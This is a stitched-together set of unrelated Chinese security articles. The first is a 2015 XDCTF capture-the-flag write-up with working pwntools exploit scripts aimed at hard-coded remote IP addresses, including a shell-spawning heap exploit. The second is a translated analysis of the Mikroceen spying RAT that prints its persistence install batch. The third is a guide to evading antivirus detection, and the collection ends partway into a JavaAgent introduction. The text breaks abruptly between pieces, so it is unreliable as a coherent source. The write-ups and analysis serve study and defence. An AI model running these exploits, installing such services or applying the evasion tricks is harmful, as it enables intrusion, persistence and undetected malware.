req.sendall("Something wrong!n")
req.close()
return None
return int(toRead,16)
def checkBlacklist(self):
foreign=self.request.getpeername()[0]
if foreign in self.accepted:
while(len(self.accepted[foreign]) >0 and
self.accepted[foreign][0]<time()-600):
del self.accepted[foreign][0]
if len(self.accepted[foreign])>5:
self.request.send("Too many requests too quick sorryn")
self.request.close()
return False
else:
self.accepted[foreign]=[]
return True
def getParamsFromClient(self):
N=self.N
req=self.request
index=self.readInt()
if index is None:
return
if index<2 or index>N/2:
#brute force attempt
req.sendall("A Wrong move against the motherland!n")
req.close()
return None
req.sendall("Please provide your temporary key, be careful!n")
ckey=self.readInt()
if ckey is None:
return None
if ckey%N==0:
req.sendall("Wrong way to xidiann")
req.close()
return None
return ckey,index
def doCryptAttack(self,index,ckey,salt):
N=self.N
password = ""
hash2int= self.hash2int
salt=hash2int(index)
storedKey = pow(index, hash2int(salt, password), N)
coefSlush = 3
skeyPriv = self.cryptrand()
skey = (coefSlush * storedKey +
pow(index, skeyPriv, N)) % N
self.sendInt(salt)
print 'salt',salt
print 'n'
self.sendInt(skey)
print 'sKey',skey
slush = hash2int(ckey, skey)
tempAgreedKey = hash2int(pow(ckey * pow(storedKey, slush, N), skeyPriv, N))
return tempAgreedKey,skey
def handle(self):
N=self.N
hash2int=self.hash2int
req = self.request
req.sendall("Welcome to 2015 xidian ctf's checkin server, please provide 2 magic numbers!n")
ckey,index=self.getParamsFromClient()
print ckey
print 'n'
print index
salt=self.hash2int(index)
tempAgreedKey,skey=self.doCryptAttack(index,ckey,salt)
print 'akey',tempAgreedKey
finalKey=hash2int(hash2int(N) ^ hash2int(index), hash2int(index), salt,
ckey, skey, tempAgreedKey)
print 'genkey',finalKey
check=self.readInt()
if(check==finalKey):
req.sendall("Well done com rade, the flag is XDCTF{xxxxxx} .n")
req.close()
'''
def doSend(num):
s=hex(num)
return struct.pack('H',len(s))+s
if __name__ == "__main__":
context.log_level='debug'
#conn = remote("127.0.0.1",5000)
conn = remote("133.130.52.128",5000)
conn.recv()
index=53538541699666989075104314189461622667506313026452523318908741414211402
prob=[]
for i in range(5):
prob.append(hash2int(pow(index,i,N)))
print prob
ckey=1
print doSend(index)
print hash2int(index)
conn.send(doSend(index))
conn.recv()
conn.send(doSend(ckey))
r=conn.recv()
salt=int(r,16)
r=conn.recv()
skey=int(r,16)
slush = hash2int(ckey, skey)
tempAgreedKey = prob[0]
finalKey=hash2int(hash2int(N) ^ hash2int(index), hash2int(index), salt, ckey, skey, tempAgreedKey)
conn.send(doSend(finalKey))
r=conn.recv()
if "flag" in r:
print "-----------------"
print r
print "-----------------"
conn.recv()
**CRYPT 400**
其实我很诧异这题没有其它队过……
首先看py文件知道它调用了某个我们看不到的加密程序,然后发现它以6个字符为一段,因为经过hex编码所以实际没段只有3个byte,而且允许我们发送明文并返回密文,很自然就想到穷举明文与密文比对。虽然key会变动但每次请求都会返回flag的密文所以没什么影响。
首先弄了个string.printable的三重循环,跑了半天发现服务器响应有点慢,会崩,于是就猜flag应该不是随机串,打算先爆出几个块然后开脑洞猜,先是弄了个string.ascii_letters的三重循环,后来又缩小到string.ascii_lowercase,因为最先爆出来的aos和le}两个块里面都只有小写字母(最后一块只要猜两个字母所以最好爆),其实还没跑完队友已经用脑洞把所有块补全了XD。最后只差一个e,w,因为首位字母比较容易确定就把中间那个字符用string.printable爆了下。
当然中途也试过用_作为块中一个字符来爆等等其它手段,最后发现几乎是纯小写啊。
python
from pwn import *
import string
import itertools
context.log_level='debug'
def doinit(key):
l=len(key)/6
for i in range(l):
keydic[key[i*6:(i+1)*6]]=i
def getdic(str):
global keydic
global key
conn=remote("159.203.87.2",5678)
conn.recvline()
newkey=conn.recvline()
conn.recvline()
conn.send(str+'n')
res=conn.recv()
res=res.strip()
newkey=newkey.strip()
if key=='':
key=newkey
doinit(key)
if key!=newkey:
key=newkey
keydic={}
doinit(key)
print "key changed"
l=len(str)/6
for i in range(l):
tmpblk=res[i*6:(i+1)*6]
if keydic.get(tmpblk)!=None:
ans[keydic[tmpblk]]=str[i*6:(i+1)*6]
print keydic[tmpblk],ans[keydic[tmpblk]]
keydic={}
ans=[]
for i in range(78/6):
ans.append('')
# test
'''
dic['101010']='313233'
dic['111111']='343536'
decrypt('101010111111101010')
exit()
'''
key=''
table=string.ascii_lowercase
sendstr=''
sendlen=0
for b0 in table:
for b1 in table:
for b2 in table:
sendstr+=b0.encode('hex')+b1.encode('hex')+b2.encode('hex')
sendlen+=6
if sendlen==180:
getdic(sendstr)
sendstr=''
sendlen=0
print ans
print ans
**CRYPT 500**
这题是道椭圆曲线,需要预测产生的下一个随机数,首先nistp256这条曲线是固定的,可以搜到相关的参数。通过观察getrand里面的操作,可知产生的随机数是Q*x在x轴上的值,而下一次使用的x是P*这次的x,因为服务器会返回第一次的随机数,Q以及d,P是曲线的基点是固定的,所以可以令返回的随机数所对应的椭圆曲线点在乘上d的逆元得到下一次使用的x,然后顺推得到下一次的随机数(generate_backdoor里甚至都求了逆元,这是提示么)。
然后怎么从x轴的值反推椭圆曲线的点我卡了快一个白天……
最后好像是搜椭圆曲线基点选取的时候找到了现成的算法,特殊情况下的离散对数问题,二次剩余之类虽然听过不过以前不太熟悉啊。
似乎服务器会等的时间比较久,于是懒得写程序直接用python命令行手动搞,以下是部分命令记录:
python
a=0xffffffff00000001000000000000000000000000fffffffffffffffffffffffc
b=0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
p=a+3
p1=(p+1)/4
curve是曲线
P是基点,不要吐槽跟上面那个p长这么像
python
>>> xi=57914131887997596536669874361124734441741601814101568455763547876867316798523
>>> t=(xi**3+a*xi+b)
>>> t1=t%p
>>> pow(t1,p1,p)
43331064576091791900838480679880237851600469995188036303750484440002321848367L
>>> d=9673497928745459324013728553516164787612436752039204660069136338836429731578
>>> Q=seccure.AffinePoint(3529261633757778563782558685806991416222128376163198390623944234947821868434,1227400874056650306347612046180653179066970966812566313338015124847638720935,curve)
>>> i0=seccure.AffinePoint(57914131887997596536669874361124734441741601814101568455763547876867316798523,43331064576091791900838480679880237851600469995188036303750484440002321848367,curve)
>>> e=gmpy.invert(gmpy.mpz(d),curve.order)>>> i1=i0*e
>>> Q*i1.x
<AffinePoint (2905397088598526610908372447023102363026764674296260395110813409314612564062, 6813252672640352463766524774630903620705840560787288153888638751744747727230) of secp256r1/nistp256>
**PWN 100**
杀软报毒可发现所给文件的CVE-2012-0158的exploit,用office打开所给恶意RTF文件,触发exp运行,动态调试可发现内存中有`C:flag.txt`字符串,于是发现在此路径有隐藏文件存有flag。
好吧,我知道正解应该是去找到对应的shellcode的地方看……
**PWN 200**
程序很明显的一个栈溢出,无栈cookie,又是32位,参数可直接控制,但是由于没给libc,无法根据泄漏got表计算system的地址。
但是由于程序可以无限次泄漏,且长度不限,即意味着我们完全有能力dump出整个内存,故而肯定可以直接在内存中找到system的地址,简单起见,可以直接使用pwntools中的DynELF。
由于DynELF只能查找库函数地址,故而,查找`/bin/sh`字符串比较麻烦,于是可以选择通过调用read读入到空闲地址。
比较坑的是,做的时候泄漏system地址后,调用system总是无效,但是调用write确能正常输出,在system下断点发现程序确实执行过去并且参数正确,死命的不知道哪里错了,最后在调用system之前,让程序跳到__start恢复栈重新开始程序就可以成功调用system。
**PWN 300**
做题人留下程序赶火车去了 again ……
我就知道他最开始没有 checksec,导致浪费了一天时间……
python
from pwn import *
#c = process('./aa508d1df74d46a88bc02210c7f92824')
#c = remote('localhost', port = 6666)
c=remote('133.130.90.210', port=6666)
print c.recv()
def mysend(s):
global c
z = c.recv()
#print s
c.sendline(s)
#print s
sleep(0.2)
for i in range(5):
mysend('1')
mysend('0')
mysend('3')
mysend('0')
mysend('1')
mysend('a'*0x74+p32(0x804b06c)+p32(0x804b064))
mysend('2')
mysend('1')
mysend('3')
mysend('2')
mysend('0')
mysend(p32(0x0804b010) + asm(shellcraft.sh()))
mysend('3')
mysend('3')
mysend('0')
c.send(p32(0x0804b070))
sleep(0.1)
c.interactive()
**PWN 400**
逆向可发现如下一段:
c
if ( (unsigned __int16)(file_name_len + 2) <= (signed int)(buf - src + buf_len - 46) )
{
if ( file_name_len )
s = read_str(&ptr_int16, file_name_len, 1);
v3 = strlen(s);
v11 = write(fd, s, v3);
}
很明显,这里如果`file_name_len`是0xffff的话导致加法溢出的话,这里的判断过掉,而后面又会将其当成一个无符号数去读字符串,从而输出后面的内存,其中就包含了flag。
最后吐槽一句,拿这种一分钟的题作400分真的好么……
## PWN 500
程序在 resit 的时候,对于不合格的 essay,free 和指针的清0是在不同的地方做的,如下:
c
if ( delete_fail_essay && score <= 59 )
free(exam->essay);
c
if ( exam->real_essay_len )
{
exam->essay = 0LL;
exam->real_essay_len = 0;
}
可以明显看到这两个地方的判断条件是不同的,也就是说,我们只要让 `real_essay_len` 为 0,就可以在 essay 被 free
之后仍旧保留此指针,从而实现 UAF。
而在读入 essay 的时候:
c
read_essay_len = 0;
do
read_essay_len += read_str(&s[read_essay_len], len - read_essay_len);
while ( read_essay_len != len );
fputs(s, stream);
c
while ( fread(&ptr[i], 1uLL, 1uLL, stream) )
++i;
很明显,这里我们通过输入 `x00`,可以导致 `fputs` 的时候没有写入任何东西到 `stream`,于是接下来 `fread`
的时候就什么也读不到,从而实现 `read_essay_len` 为 0。
UAF 之后,我们让 essay 和一个 exam 的结构体使用同一份内存,通过 cheat,我们可以修改已经 free 的 essay,也即可以修改
exam 的结构体,改写其中的函数指针,从而在 show scores 的时候调用任意函数。
但是,调用函数的时候,参数我们无法控制,只能是以执行这个结构体的指针为第一个参数,由于结构体完全受我们控制,也就是说第一个参数的字符串内容是我们可以控制的,那么只要我们能够知道system的地址,我们就可以调用
`system("/bin/sh")` 了。
为了知道 system 的地址,我们可以构造一个格式化字符串漏洞,即调用 `printf("%11$16lx")`,这样可以将 main 函数的
return address 泄漏,而这个地址在 `__libc_start_main` 中,也即在 libc 中,于是就可以计算 system
地址了,此题得以解决。
PS:据说覆盖子进程的 rbp 也是可以脑洞出一个利用的……
**WEB1 100**
先下载备份文件index.php~,发现是一个被混淆过的php文件,找到个破解网站
http://zhaoyuanma.com/phpjm.php,破解后的源代码提示需要满足 `$test=$_GET['test'];
$test=md5($test); if($test=='0')`
那么md5($test)什么时候会和'0'相等呢?
找到一篇解释 http://stackoverflow.com/questions/22140204/why-md5240610708-is-equal-to-md5qnkcdzo
了解到当使用=='0'做比较时,会将md5字符串转换成数字。那么只要找到能够被转换成0的md5字符串即可。由于240610708的md5值是`0e462097431906509019562988736854`,它可以代表一个浮点数0(因为0e代表科学计数法),那么它和0比较的时候就会相等,于是将240610708作为test的参数,可以获取flag。
## WEB1 200
这道题看源代码就可以知道examples这个目录,但是后来就完全不知道怎么搞了。到了第二天晚上有个同学扫到了改Session的路径,也就是这个http://flagbox-23031374.xdctf.win:1234/examples/servlets/servlet/SessionExample
……
然后就很简单了,把user设成Administrator,pwd随便写,然后登录页面返回了not
login的消息,猜猜,添个login=true的数据,就得到了flag。
**WEB2 200**
首先题目提示了git,进入页面后发现有.git目录,不过403,根据.git目录的惯例爬文件,不过HEAD里面没什么东西,后来看到tag1.0之类的字样,就把refs/tags下面的文件拿来,根据hash去objects里面抓文件,拿来后扔zlib里解压,发现是一个树节点,依次把里面提到的objects都取来后在index页面里发现flag | 社区文章 |
**原文：[Mikroceen: Spying backdoor leveraged in high‑profile networks in Central
Asia](https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia/ "Mikroceen: Spying backdoor leveraged in
high‑profile networks in Central Asia")
译者：知道创宇404实验室翻译组**
在这篇与Avast研究员的联合博文中，我们提供了一项技术分析，介绍一种不断发展的RAT技术，自2017年末以来，它被用于各种针对公共和私人目标的间谍活动中。我们观察到该RAT的多起攻击实例，而且都发生在中亚地区。目标对象包括电信和天然气行业中的几家重要公司以及政府机构。
此外，我们把最新的间谍活动与之前发表的三篇报道联系起来：卡巴斯基(Kaspersky)对针对俄罗斯军事人员的Microcin的[报道](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170759/Microcin_Technical_4PDF_eng_final_s.pdf
"报道")、Palo Alto
Networks对针对白俄罗斯政府的BYEBY的[报道](https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan
"报道")，以及Checkpoint对针对蒙古公共部门的Vicious
Panda的[报道](https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign
"报道")。此外，我们还讨论了通常是攻击者工具集中一部分的其他恶意软件。我们选择了“Mikroceen”这个名字来涵盖RAT的所有实例，以感谢卡巴斯基关于这个恶意软件家族的最初报告。这里的拼写错误是我们有意的，为了区别已有的微生物概念，同时也保持发音一致。
### 集群
首先，让我们讨论一下Mikroceen的集群，这是一个简单的RAT，并且我们会说明为什么我们认为卡巴斯基、Palo Alto
Networks和Checkpoint的报告(其中提到的其它恶意工具)写的是同一特定恶意软件家族。图1提供了用于配置数据的解密循环的比较，这些配置数据包括C&C域名、与每个样本相关联的名称和密码。循环实际上是相同的，它是在一行三个副本中实现的。Checkpoint还讨论了BYEBY和Vicious
Panda之间数据部分的HTTP头的相似性，以及base64解码为WORKIN的共享日志消息V09SS0lO。编码的字符串也存在于Microcin中。
图1 用于解密内部数据的部分代码；导出的DLL名称位于底部
在下面的小节中，我们还将RAT功能的命令语法和执行过程中记录的RAT与以前实例的典型错误消息进行了比较。为了支持证据，攻击者首选的基础设施提供商和最典型的恶意软件同时出现在受攻击的网络上。所有这些线索应该会让人强烈相信，这是同一个恶意软件家族。
### 时间轴与受害者
图2描述了威胁如何被及时跟踪的演变过程。如前所述，中亚地区与俄罗斯、白俄罗斯和蒙古一样，都是遭受Mikroceen入侵的地区。这些受害者不是台式机用户，而是企业网络中的终端用户，企业网络的安全级别更高。
图2 与Mikroceen有关的事件时间表
图3 最近在中亚的攻击活动被先前报道过的包围
### 攻击者的武器库
让我们来描述一下攻击者在中亚间谍活动中使用的工具，不过我们无法发现他们是如何进入被入侵的网络的。
#### RAT(客户端后门)
一旦入侵者在受害机器上建立了立足点，图4中的代码将用于在系统上安装RAT。注意参数`start= auto`，该参数可确定重新启动后恶意软件的持久性。
@echo off
sc stop PCAudit
sc delete PCAudit
sc create PCAudit binpath= "C:\WINDOWS\syswow64\svchost.exe -k netsvcs" type= share start= auto displayname= "Windows Upload Manager"
sc description PCAudit "Windows Help Service is a microsoft Windows component for System(Important). If this service is stopped, users will be unable to get useful information"
sc failure PCAudit reset= 0 actions= restart/0
reg add HKLM\SYSTEM\CurrentControlSet\Services\PCAudit\Parameters /v ServiceDll /t REG_EXPAND_SZ /d %SystemRoot%\Syswow64\pcaudit.dll
reg add HKLM\SYSTEM\CurrentControlSet\Services\PCAudit\Parameters /v ServiceMain /t REG_SZ /d NtHelpServiceMain
reg add HKLM\SYSTEM\CurrentControlSet\Services\PCAudit\Parameters /v ServiceDllUnloadOnStop /t REG_DWORD /d 1
sc start PCAudit
del %0
图4 安装批处理代码
正如我们前面提到的，每个bot都带有配置数据：C&C、客户端名称和客户端密码。bot的名称出现在服务器端接口中。不同寻常的是，操作员需要通过输入客户端密码进行身份验证，以控制客户端。我们只能推测其目的，但它可以作为防止僵尸网络接管的保护措施，以防竞争对手或执法机构接管它们的基础设施。因此，我们看到在客户端-服务器连接的安全性上做了一些工作。此外，客户端可以直接连接到C&C服务器或通过代理路由流量，这可能很有用——尤其是在公司网络中。连接通过证书进一步得到保护，这是Mikroceen区别于我们之前看到的大量后门的一个特性。
Mikroceen使用了与之前Palo Alto
Networks描述的关于BYEBY相同的基本特性。命令的语法非常具体，因为每个命令都被截断为6个字母，然后用base64编码。这导致代码中出现了一个8个字母的无法理解的单词。虽然在以前的情况下，编码很简单，但在中亚的间谍活动中，增加了额外的未知加密层。在这种情况下，8个字母的单词与命令之间的连接是在代码级别上通过协议完成的。
表1 RAT各种实例的命令语法
在执行期间，客户端将调试消息记录在一个临时文件中。这在不同的Mikroceen实例中是不同的。表2提供了这些消息在不同情况下的比较，并提供了链接Mikroceen实例的其它证据。
表2 在临时文件中记录消息
#### 同时发生的恶意软件
以前的报告总是提到攻击中使用的大量工具。在我们的例子中，情况是一样的——不仅是Mikroceen，还有其他恶意软件。以下是我们在受感染网络中观察到的三个最重要的工具。
##### 通过Mimikatz横向移动
攻击者使用了他们的Mimikatz，通过一个两级机制实现：第一阶段是通常称为installer.exe或Yokel64的删除程序，第二阶段用指示性外部DLL名称mktz64.dll删除了主要payload。虽然Mikroceen从来没有附带调试信息，但是在这里我们可以看到字符串`E:\2018_\MimHash\mimikatz\Bin\mktzx64.pdb`
Mimikatz payload中的PDB字符串
Mimikatz是一个由法国安全研究员Benjamin
Delpy自2007年开始开发的开源项目。它是一个强大的工具，可以绕过各种Windows身份验证方案，主要是通过从Windows本地安全帐户数据库转储凭据数据。它主要被It安全领域的red团队使用，但也被滥用于其他领域，如Lazarus
Group、Telebots、Okrum等。在测试虚拟环境中运行后，其输出为（逗号前的空格不正确）:
#1 domain = MSEDGEWIN10, user = Administrator , nthash=FC525C9683E8FE067095BA2DDC971889.
#2 domain = MSEDGEWIN10, user = IEUser , nthash=FC525C9683E8FE067095BA2DDC971889.
##### 通过Mimikatz横向移动
攻击者使用另一种工具在宿主网络中传播。这一次，他们利用了Windows管理工具(WMI)。所有相关数据都需要作为文件的名称，因为在执行期间，它需要`@@<ComputerName>，<UserName>，<Password>,.exe`。在第一步中，将建立到远程计算机的控制台，其中连接由`<ComputerName>`标识，并通过`(<UserName>，<Password>)`进行身份验证。然后，将代理安全性设置为严格级别，这意味着对每个远程过程调用的参数进行加密，并且允许服务器访问本地资源。然后再次使用WMI来检索Win32_Process类，这个类又用来创建具有给定参数的进程。当所有工作完成后，工具就会自动终止。
##### Gh0st RAT
这只臭名昭著的旧RAT是在2008年左右被创造出来的。在这个例子中，在被破坏的系统上它被发现为rastls.dll，而导出的DLL名称通常是svchost.dll。它尝试连接到https://yuemt.zzux[。]com:443，该地址解析为中国的一个IP地址。这是一个例外，因为该服务器不属于Mikroceen使用的任何C&C提供程序。在我们看来，使用这个额外的后门似乎是多余的，它的容量完全由Mikroceen自己提供。
要识别这个后门，可以观察二进制文件中的字符串Gh0st。字符串uwqixgze}用作C&C域的占位符。
图6 Gh0st RAT恶意软件
##### C＆C面板（服务器端接口）
之前的报告已经提到攻击者的操作安全性很差(卡巴斯基和Checkpoint观察到了他们打开的目录)，幕后的行动者继续泄露工具，而受害者一方不一定会利用这些工具。我们拿到了老版的RAT控制面板。在图7的下部有一个图形界面，通过这个界面可以控制所有bot。它非常简约，这可能是由于2017年的老版本，把它与超过10年以上的Gh0st
RAT面板进行比较的话。从视觉上或功能上看，都没有太大的改进，因此SSL连接的引入似乎是项目之间的主要变化(图中“CN
Name”的文本框)。僵尸网络的运营商似乎是Vultr services(一家Choopa
LLC的子公司)的内容客户，因为他们的运营基础设施主要托管在那里，这一点也在Checkpoint在Vicious
Panda恶意活动中观察到了。这是一家防弹供应商，早在2015年思科的研究人员就对其有所记录。
图7 用于控制bot的界面：Gh0st RAT（2008）与Mikroceen的界面（2017）
### 结论
我们已经介绍了一个出于间谍目的开发的客户端-服务器模型的自定义实现的分析。恶意软件开发者花了很大的精力来确保与受害者和运营商之间的连接的安全性和强大性。此外，他们拥有更大的攻击工具集，并且他们的项目在不断地开发中，大多数都是作为混淆的形式可见。
### IoCs
这是本文中描述样本的哈希值。从攻击中收集到的其他IoC可以在ESET的[GitHub](https://github.com/eset/malware-ioc/tree/master/mikroceen/
"GitHub")或Avast的[GitHub](https://github.com/avast/ioc "GitHub")上找到。
### References
* Vasily Berdnikov, Dmitry Karasovsky, Alexey Shulmin: “[Microcin malware](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170759/Microcin_Technical_4PDF_eng_final_s.pdf "Microcin malware")”, Kaspersky Labs 2017-9-25
* Josh Grunzweig, Robert Falcone: [“Threat Actors Target Government of Belarus Using CMSTAR Trojan](https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan/ "“Threat Actors Target Government of Belarus Using CMSTAR Trojan")”, September 2017
* Checkpoint Research: “[Vicious Panda: The COVID Campaign](https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/ "Vicious Panda: The COVID Campaign")”, 2020-03-12
* SecDev Group & Citizenlab, “[Tracking GhostNet: Investigating a Cyber Espionage Network](https://citizenlab.ca/2009/03/tracking-ghostnet-investigating-a-cyber-espionage-network/ "Tracking GhostNet: Investigating a Cyber Espionage Network")”, March 2009,
* Dhia Mahjoub, Jeremiah O’Connor, Thibault Reuille, Thomas Mathew: “[Phishing, Spiking, and Bad Hosting](https://umbrella.cisco.com/blog/2015/09/14/phishing-spiking-and-bad-hosting/ "Phishing, Spiking, and Bad Hosting")”, Cisco Umbrella Blog, 2015-09-14
* “[Mimikatz: A little tool to play with Windows security](https://github.com/gentilkiwi/mimikatz "Mimikatz: A little tool to play with Windows security")”
* Peter Kálnai, Anton Cherepanov. “[Lazarus KillDisks Central American casino](https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/ "Lazarus KillDisks Central American casino")”, WeLiveSecurity.com, April 2018
* Anton Cherepanov, Robert Lipovský: “[New TeleBots backdoor: First evidence linking Industroyer to NotPetya](https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/ "New TeleBots backdoor: First evidence linking Industroyer to NotPetya")”, WeLiveSecurity.com, October 2018
* Zuzana Hromcová: “[Okrum: Ke3chang group targets diplomatic missions](https://www.welivesecurity.com/2019/07/18/okrum-ke3chang-targets-diplomatic-missions/ "Okrum: Ke3chang group targets diplomatic missions")”, WeLiveSecurity.com, July 2019
* Avast Threat Intelligence, [GitHub repository](https://github.com/avast/ioc "GitHub repository")
* ESET Threat Intelligence, [GitHub repository](https://github.com/eset/malware-ioc "GitHub repository")
* * * | 社区文章 |
# Antivirus Bypass（一）基于敏感函数
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本篇文章是Bypass思路系列文章的第一篇，后续会持续更新有关Bypass的思路
因为工作原因，文章断断续续，时间线上会存在差异，思路及代码可行性仅供参考。
若文章中存在说的不清楚或者错误的地方 欢迎师傅们指正 感激不尽！！！
## 前言
本文将从杀软监测敏感函数进行操作，以达到Bypass的效果。
测试编译器：VS全版本
测试Demo：Win32应用程序，MFC应用程序：
在测试Demo的时候，某些杀软会杀编译器，下面附上我测试Demo时的查杀效果：
| Win32应用程序 | MFC应用程序
---|---|---
VC++6.0 | 5/69 | 6/69
VS2008 | 0/68 | 0/69
VS2010 | 3/69 | 0/68
VS2012 | 1/69 | 2/69
VS2013 | 3/69 | 0/68
VS2015 | 1/68 | 1/68
VS2017 | 0/69 | 1/69
VS2019 | 1/68 | 1/69
VS2022 | 2/66 | 1/67
由此可以看到，尽管代码没有特征，但是某些杀软还是会报，最新的编译器也不例外，以此引入： **杀软会查杀编译器的特性** 。
**针对杀编译器特性，我们可以选用一些较为小众的语言或者杀软对语言较为友好（eg:Golang,nim）来达到Bypass的效果，或者选用较老的编译器（eg：VS2008）去达到Bypass的效果。**
在这里，我们选用Win32应用程序，一是因为VT杀软较全面查杀的结果，二是可以直观验证代码被杀与否。
下面进入到我们本次的主题：基于敏感函数去实现Bypass。
## 一、窗口隐藏
BOOL ShowWindow(
HWND hWnd,
int nCmdShow
);
最简单的用法， **SW_HIDE** 参数下是被杀的，利用虚拟键即可达到隐藏窗体的效果。
更多详情请参考：<https://docs.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes>
这里用到的编译器是VS2019，下面附上一段笔者测试的代码：
int main()
{
HWND hWnd = GetForegroundWindow();//读取窗口信息
bool f = 0;
while (1) {
if (GetAsyncKeyState(VK_SPACE)) ShowWindow(hWnd, f), Sleep(100), f = !f;//VK_SPACE==点击空格显示窗体
}
}
## 二、文件执行
UINT WinExec(
LPCSTR lpCmdLine,
UINT uCmdShow
);
该函数，换个编译器可实现Bypass，Pass的编译器是VS2019，Bypass的编译器是VS2017。
=========================================分割线===========================================================
HINSTANCE ShellExecute(
[in, optional] HWND hwnd,
[in, optional] LPCSTR lpOperation,
[in] LPCSTR lpFile,
[in, optional] LPCSTR lpParameters,
[in, optional] LPCSTR lpDirectory,
[in] INT nShowCmd
);
最简单的用法，用法我就不过多描述。Bypass的编译器是VS2019，下面附上一段笔者测试的Bypass代码：
#include <windows.h>
#include <stdio.h>
int main()
{
CONST char cmd[] = "calc.exe";
ShellExecute(0, "open", cmd, NULL, NULL, 1);
}
=========================================分割线===========================================================
BOOL CreateProcess(
LPCWSTR pszImageName,
LPCWSTR pszCmdLine,
LPSECURITY_ATTRIBUTES psaProcess,
LPSECURITY_ATTRIBUTES psaThread,
BOOL fInheritHandles,
DWORD fdwCreate,
LPVOID pvEnvironment,
LPWSTR pszCurDir,
LPSTARTUPINFOW psiStartInfo,
LPPROCESS_INFORMATION pProcInfo
);
下面附上一段笔者测试得Bypass代码，用到的编译器是VS2010MFC应用程序：
STARTUPINFO si;
PROCESS_INFORMATION
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi
CreateProcess(
NULL
, "calc.exe"//替换要控制的新进程
, NULL
, NULL
, TRUE
, 0
, NULL
, NULL
, &si
, &pi
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CreateProcess可完全控制新进程，在后续文章中将深入介绍CreateProcess函数，包括 **父进程欺骗、傀儡进程** 等相关知识。
执行由简到繁：Winexec ==> ShellExecute ==> CreateProcess
Winexec主要运行exe文件 ==> ShellExecute不仅可以运行exe文件还可运行已关联文件 ==>
CreateProcess可完全控制新进程
## 总结
本文内容较为简单，主要是围绕常用的敏感函数来实现Bypass，其中运用到的小技巧可以结合实际场景将其融合，最后写出适合自己的的Loader。笔者后续将会继续分享Bypass思路，希望大家有兴趣的私我，共同进步。 | 社区文章 |
**Author：Longofo@Knownsec 404 Team**
**Time: December 10, 2019**
**Chinese version:<https://paper.seebug.org/1099/>**
An error occurred during the deserialization test with a class in an
application. The error was not `class notfound`, but other`0xxx` errors. After
some researches, I found that it was probably because the class was not
loaded. I just studied the JavaAgent recently and learned that it can
intercept. It mainly uses the Instrument Agent to enhance bytecode. It can
perform operations such as **byte code instrumentation** , **bTrace** ,
**Arthas**. Combined with ASM, javassist, the cglib framework can achieve more
powerful functions. **Java RASP** is also implemented based on JavaAgent. The
following records the basic concepts of JavaAgent, and I'll introduce how I
used JavaAgent to implement a test to get the classes loaded by the target
process.
#### JVMTI & Java Instrument
The **Java Platform Debugger Architecture**
([JPDA](https://en.wikipedia.org/wiki/Java_Platform_Debugger_Architecture)) is
a collection of APIs to debug Java code:
* Java Debugger Interface (JDI) - defines a high-level Java language interface that developers can easily use to write remote debugger application tools.
* [Java Virtual Machine Tools Interface](https://en.wikipedia.org/wiki/Java_Virtual_Machine_Tools_Interface) (JVMTI), a native interface that helps to inspect the state and to control the execution of applications running in the [Java Virtual Machine](https://en.wikipedia.org/wiki/Java_Virtual_Machine) ([JVM](https://en.wikipedia.org/wiki/JVM)).
* Java Virtual Machine Debug Interface (JVMDI)- JVMDI was deprecated in J2SE 5.0 in favor of JVM TI, and was removed in Java SE 6.
* Java Debug Wire Protocol (JDWP) - defines communication between debuggee (a Java application) and debugger processes.
JVMTI provides a set of "agent" program mechanisms, supporting third-party
tools to connect and access the JVM in a proxy manner, and use the rich
programming interface provided by JVMTI to complete many JVM-related
functions. JVMTI is event-driven. Every time the JVM executes certain logic,
it will call some event callback interfaces (if any). These interfaces can be
used by developers to extend their own logic.
JVMTIAgent is a dynamic library that provides the functions of agent on load,
agent on attach, and agent on unload by using the interface exposed by JVMTI.
Instrument Agent can be understood as a type of JVMTIAgent dynamic library. It
is also called JPLISAgent (Java Programming Language Instrumentation Services
Agent), which is the agent that provides support for instrumentation services
written in the Java language.
#### Instrumentation Interface
The following interfaces are provided by Java SE 8 [in the API
documentation](https://docs.oracle.com/javase/8/docs/api/java/lang/instrument/Instrumentation.html)
[1] (different versions may have different interfaces):
void addTransformer(ClassFileTransformer transformer)
Registers the supplied transformer.
void addTransformer(ClassFileTransformer transformer, boolean canRetransform)
Registers the supplied transformer.
void appendToBootstrapClassLoaderSearch(JarFile jarfile)
Specifies a JAR file with instrumentation classes to be defined by the bootstrap class loader.
void appendToSystemClassLoaderSearch(JarFile jarfile)
Specifies a JAR file with instrumentation classes to be defined by the system class loader.
Class[] getAllLoadedClasses()
Returns an array of all classes currently loaded by the JVM.
Class[] getInitiatedClasses(ClassLoader loader)
Returns an array of all classes for which loader is an initiating loader.
long getObjectSize(Object objectToSize)
Returns an implementation-specific approximation of the amount of storage consumed by the specified object.
boolean isModifiableClass(Class<?> theClass)
Determines whether a class is modifiable by retransformation or redefinition.
boolean isNativeMethodPrefixSupported()
Returns whether the current JVM configuration supports setting a native method prefix.
boolean isRedefineClassesSupported()
Returns whether or not the current JVM configuration supports redefinition of classes.
boolean isRetransformClassesSupported()
Returns whether or not the current JVM configuration supports retransformation of classes.
void redefineClasses(ClassDefinition... definitions)
Redefine the supplied set of classes using the supplied class files.
boolean removeTransformer(ClassFileTransformer transformer)
Unregisters the supplied transformer.
void retransformClasses(Class<?>... classes)
Retransform the supplied set of classes.
void setNativeMethodPrefix(ClassFileTransformer transformer, String prefix)
This method modifies the failure handling of native method resolution by allowing retry with a prefix applied to the name.
**[redefineClasses&
retransformClasses](https://stackoverflow.com/questions/19009583/difference-between-redefine-and-retransform-in-javaagent)**：
redefineClasses was introduced in Java SE 5, and retransformClasses in Java SE
